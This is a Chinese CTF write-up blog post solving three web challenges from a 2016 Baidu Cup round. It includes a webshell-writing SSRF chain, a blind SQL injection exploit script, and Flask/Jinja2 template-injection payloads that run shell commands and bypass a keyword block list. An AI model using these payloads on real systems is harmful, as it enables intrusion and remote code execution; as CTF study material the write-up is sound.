百度杯11月第二场web专场

Look

未做出。

访问的时候http包有X-HT: verify,嗯,这个是get的参数。

/?verify='%1%23

next page 5211ec9dde53ee65bb02225117fba1e1.php

发现响应头有:X-HT:viminfo

访问.viminfo

<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
    $name = addslashes($_GET['usern3me']);
}
else{
    if(stripos($_GET['usern3me'],'Bctf2O16')!==false){
        $name = 'FUCK';
    }
    else{
        $name = addslashes($_GET['usern3me']);
    }
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
    echo '<br>next ***.php';
}
?>

就是要查询Bctf2O16,但是又不能出现这个,根据mysql字符集问题,Ç = c

http://01fb9ea00abe47909c8ab58c90675872d4c64ebba3ce466a.ctf.game/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=BÇtf2O16

/c3368f5eb5f8367fd548b228bee69ef2.php

<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = "upload/".$_GET['filename'];
}
else{
    show_source(__FILE__);
    exit();
}
if(strpos($name,'..') > -1){
    echo 'WTF';
    exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){
    file_put_contents($name,file_get_contents($path));
}
else{
    echo 'path error';
}
?>

为极客出的一道题目。
这题在前面/5211ec9dde53ee65bb02225117fba1e1.php。$name是可以控制网页内容的,所以可以写shell。

http://01fb9ea00abe47909c8ab58c90675872d4c64ebba3ce466a.ctf.game/c3368f5eb5f8367fd548b228bee69ef2.php?path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520echo%2520`cat%2520../flag_is_here.php`;&filename=l.php

Mangager

又是这个题
./sources/login.js

$(document).keydown(function(e) {
    if (e.keyCode == 222 || e.keyCode == 188 || e.keyCode == 190) {
        alert("Illegal character");
        return false;
    }
});

function getnonce() {
    var text = "";
    var possible = "0123456789abcdef";
    for (var i = 0; i < 40; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
$('#submit').click(function() {
    this._nonce = getnonce();
});

第一反应看起来很像通过submit给参数过去。从网上下载Bootstrap v3.3.7,与现在的diff一下。

function sign (data, key) {
    var privateKey
    var i, j
    var W = new Array(80)
    var A, B, C, D, E
    var H0 = 0x97B5D3F1
    var H1 = 0x1F3D5B79
    var H2 = 0x684A2C0E
    var H3 = 0xE0C2A486
    var H4 = 0x33221100
    var H5 = 0xF0F0F0F0
    var temp
    var _RSA = function (n, s) {
        var t4 = (n << s) | (n >>> (32 - s))
        return t4
    }
    var _Rot = function (val) {
        var str = ''
        var i
        var v
        for (i = 7; i >= 0; i--) {
            v = (val >>> (i * 4)) & 0x0f
            str += v.toString(16)
        }
        return str
    }
    str = unescape(encodeURIComponent(key + data))
    var strLen = str.length
    var wordArray = []
    for (i = 0; i < strLen - 3; i += 4) {
        j = str.charCodeAt(i) << 24 |
            str.charCodeAt(i + 1) << 16 |
            str.charCodeAt(i + 2) << 8 |
            str.charCodeAt(i + 3)
        wordArray.push(j)
    }
    switch (strLen % 4) {
        case 0:
            i = 0x080000000
            break
        case 1:
            i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
            break
        case 2:
            i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
            break
        case 3:
            i = str.charCodeAt(strLen - 3) << 24 |
                str.charCodeAt(strLen - 2) << 16 |
                str.charCodeAt(strLen - 1) <<
            8 | 0x80
            break
    }
    wordArray.push(i)
    while ((wordArray.length % 16) !== 14) {
        wordArray.push(0)
    }
    wordArray.push(strLen >>> 29)
    wordArray.push((strLen << 3) & 0x0ffffffff)
    H0 ^= H5
    H1 ^= H5
    H2 ^= H5
    H3 ^= H5
    H4 ^= H5
    for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
        for (i = 0; i < 16; i++) {
            W[i] = wordArray[privateKey + i]
        }
        for (i = 16; i <= 79; i++) {
            W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
        }
        A = H0
        B = H1
        C = H2
        D = H3
        E = H4
        for (i = 0; i <= 19; i++) {
            temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        for (i = 20; i <= 39; i++) {
            temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        for (i = 40; i <= 59; i++) {
            temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        for (i = 60; i <= 79; i++) {
            temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        H0 = (H0 + A) & 0x0ffffffff
        H1 = (H1 + B) & 0x0ffffffff
        H2 = (H2 + C) & 0x0ffffffff
        H3 = (H3 + D) & 0x0ffffffff
        H4 = (H4 + E) & 0x0ffffffff
    }
    temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
    return temp.toLowerCase()

}

$(document).ready(function() {
    $("#" + "f" + "r" + "m" + "l" + "o" + "g" + "i" + "n").submit(function(e) {
        var z1 = $("#" + "u" + "s" + "e" + "r" + "n" + "a" + "m" + "e").val();
        var z2 = $("#" + "p" + "a" + "s" + "s" + "w" + "o" + "r" + "d").val();
        $('<' + 'i' + 'n' + 'p' + 'u' + 't' + '>').attr({
            type: 'h' + 'i' + 'd' + 'd' + 'e' + 'n',
            name: '_' + 'n' + 'o' + 'n' + 'c' + 'e',
            value: sign(z1 + z2, "YTY" + "0Yj" + "M0Y" + "2Rh" + "ZTZ" + "iMj" + "liZ" + "jFj" + "OTQ" + "xOD" + "==")
        }).appendTo('#' + 'f' + 'r' + 'm' + 'l' + 'o' + 'g' + 'i' + 'n');
    });
});

sha1加密了用户名+密码,秘钥:YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==

和原题有点不一样,字段从information_schema获取就好了。另外注意的是字段里面有@,在mysql,这个是定义变量,所以要用反引号去包含。

a' or length(`p@ssw0rd`)=35#

exp:

#!/usr/bin/python
#coding:utf-8
#
#
import sys
reload(sys)
sys.setdefaultencoding('utf8')

import requests
from pyv8 import PyV8
URL='http://4e3b2c89e32c46deba504f93e4bba3872d6022769a004a6c.ctf.game/login.php'

a='''
function sign(data, key) {
var privateKey
var i, j
var W = new Array(80)
var A, B, C, D, E
var H0 = 0x97B5D3F1
var H1 = 0x1F3D5B79
var H2 = 0x684A2C0E
var H3 = 0xE0C2A486
var H4 = 0x33221100
var H5 = 0xF0F0F0F0
var temp
var _RSA = function (n, s) {
    var t4 = (n << s) | (n >>> (32 - s))
    return t4
}
var _Rot = function (val) {
    var str = ''
    var i
    var v
    for (i = 7; i >= 0; i--) {
        v = (val >>> (i * 4)) & 0x0f
        str += v.toString(16)
    }
    return str
}
str = unescape(encodeURIComponent(key + data))
var strLen = str.length
var wordArray = []
for (i = 0; i < strLen - 3; i += 4) {
    j = str.charCodeAt(i) << 24 |
        str.charCodeAt(i + 1) << 16 |
        str.charCodeAt(i + 2) << 8 |
        str.charCodeAt(i + 3)
    wordArray.push(j)
}
switch (strLen % 4) {
    case 0:
        i = 0x080000000
        break
    case 1:
        i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
        break
    case 2:
        i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
        break
    case 3:
        i = str.charCodeAt(strLen - 3) << 24 |
            str.charCodeAt(strLen - 2) << 16 |
            str.charCodeAt(strLen - 1) <<
        8 | 0x80
        break
}
wordArray.push(i)
while ((wordArray.length % 16) !== 14) {
    wordArray.push(0)
}
wordArray.push(strLen >>> 29)
wordArray.push((strLen << 3) & 0x0ffffffff)
H0 ^= H5
H1 ^= H5
H2 ^= H5
H3 ^= H5
H4 ^= H5
for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
    for (i = 0; i < 16; i++) {
        W[i] = wordArray[privateKey + i]
    }
    for (i = 16; i <= 79; i++) {
        W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
    }
    A = H0
    B = H1
    C = H2
    D = H3
    E = H4
    for (i = 0; i <= 19; i++) {
        temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
        E = D
        D = C
        C = _RSA(B, 30)
        B = A
        A = temp
    }
    for (i = 20; i <= 39; i++) {
        temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
        E = D
        D = C
        C = _RSA(B, 30)
        B = A
        A = temp
    }
    for (i = 40; i <= 59; i++) {
        temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
        E = D
        D = C
        C = _RSA(B, 30)
        B = A
        A = temp
    }
    for (i = 60; i <= 79; i++) {
        temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
        E = D
        D = C
        C = _RSA(B, 30)
        B = A
        A = temp
    }
    H0 = (H0 + A) & 0x0ffffffff
    H1 = (H1 + B) & 0x0ffffffff
    H2 = (H2 + C) & 0x0ffffffff
    H3 = (H3 + D) & 0x0ffffffff
    H4 = (H4 + E) & 0x0ffffffff
}
temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
return temp.toLowerCase()
}
'''

ctxt = PyV8.JSContext()
ctxt.enter()
func=ctxt.eval(a)
sss=ctxt.locals.sign

print sss('11','YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==')

password='a'

string='!@#$%^&*aM0123456789qwertyuiopsdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBN'

def get_payload(x):
    nonce=sss(x+password,'YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==')
    payload = {
        'username':x,
        'password':'a',
        'submit':'',
        '_nonce':nonce
    }
    resp=requests.post(URL,payload).text
    print x[21000:]
    return 'Incorrect' in resp

p=''
for n in range(1,38):
    for i in string:
        x = "%s' or ascii(mid(`p@ssw0rd`,%d,1))=%d#" % (a*21000,n,ord(i))
        if get_payload(x):
            p=p+i
            print str(n)+':password: %s' % p
            break

python执行js代码,PyV8,这个环境需要v8,搭建比较麻烦,还可以用execjs这个库。

得到密码:MyIchunq1uSuperL0ng&&SecurePa$$word

向c26表哥学习,上面也可以不用python去执行js代码。直接用hashlib库去生成。

fuzz

先fuzz出参数是name
http://36dae1f6842442858c5e5b8d019505d87c0c6c524ef44611.ctf.game/?name=1

http://36dae1f6842442858c5e5b8d019505d87c0c6c524ef44611.ctf.game/?name={{3-1}}

Flask/Jinja2存在Flask/Jinja2漏洞:
http://wooyun.jozxing.cc/static/drops/tips-13683.html

执行命令:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

{{ config.from_pyfile('/tmp/owned.cfg') }}

{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

经过测试应该是限定了一些字符,可以通过$ {}来绕过

列目录:

a=l;b=s;$a$b /var/www/html/

获取flag:

a=c;b=at;c=fl;d=4g;$a$b /var/www/html/${c}${d}
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, request, render_template_string, make_response
import os
import uuid

app = Flask(__name__)

@app.route('/')
def main():
    name = request.args.get('name')
    back_list = ('flag', 'fl4g', __file__, '*', 'ls', 'dir', 'socket')
    if name is None:
        return 'plz fuzz parameter'
    for key in back_list:
        if key in name:
            return 'Excuse me???'
    template = '<h1>Hello {0}</h1>'.format(name)
    resp = make_response(render_template_string(template))
    resp.set_cookie('name', name)
    return resp

@app.route('/flag')
def flag():
    # fake flag 23333
    fake_flag = str(uuid.uuid4())
    return 'flag{{{0}}}'.format(fake_flag)

@app.errorhandler(404)
def page_not_found(e):
    name = request.cookies.get('name', 'guest')
    template = '''<img src="data:image/jpg;base64,base编码字符">'''.format(name)

    return render_template_string(template), 404

@app.errorhandler(500)
def internal_server_error(e):
    name = request.cookies.get('name', 'guest')
    template = '''
    hi {0}, try again
'''.format(name)
    return render_template_string(template), 500

if __name__ == '__main__':
    app.debug = False
    app.run(host = '0.0.0.0', port = 80)
posted @ 2016-11-13 19:09  l3m0n  阅读(2336)  评论(0编辑  收藏  举报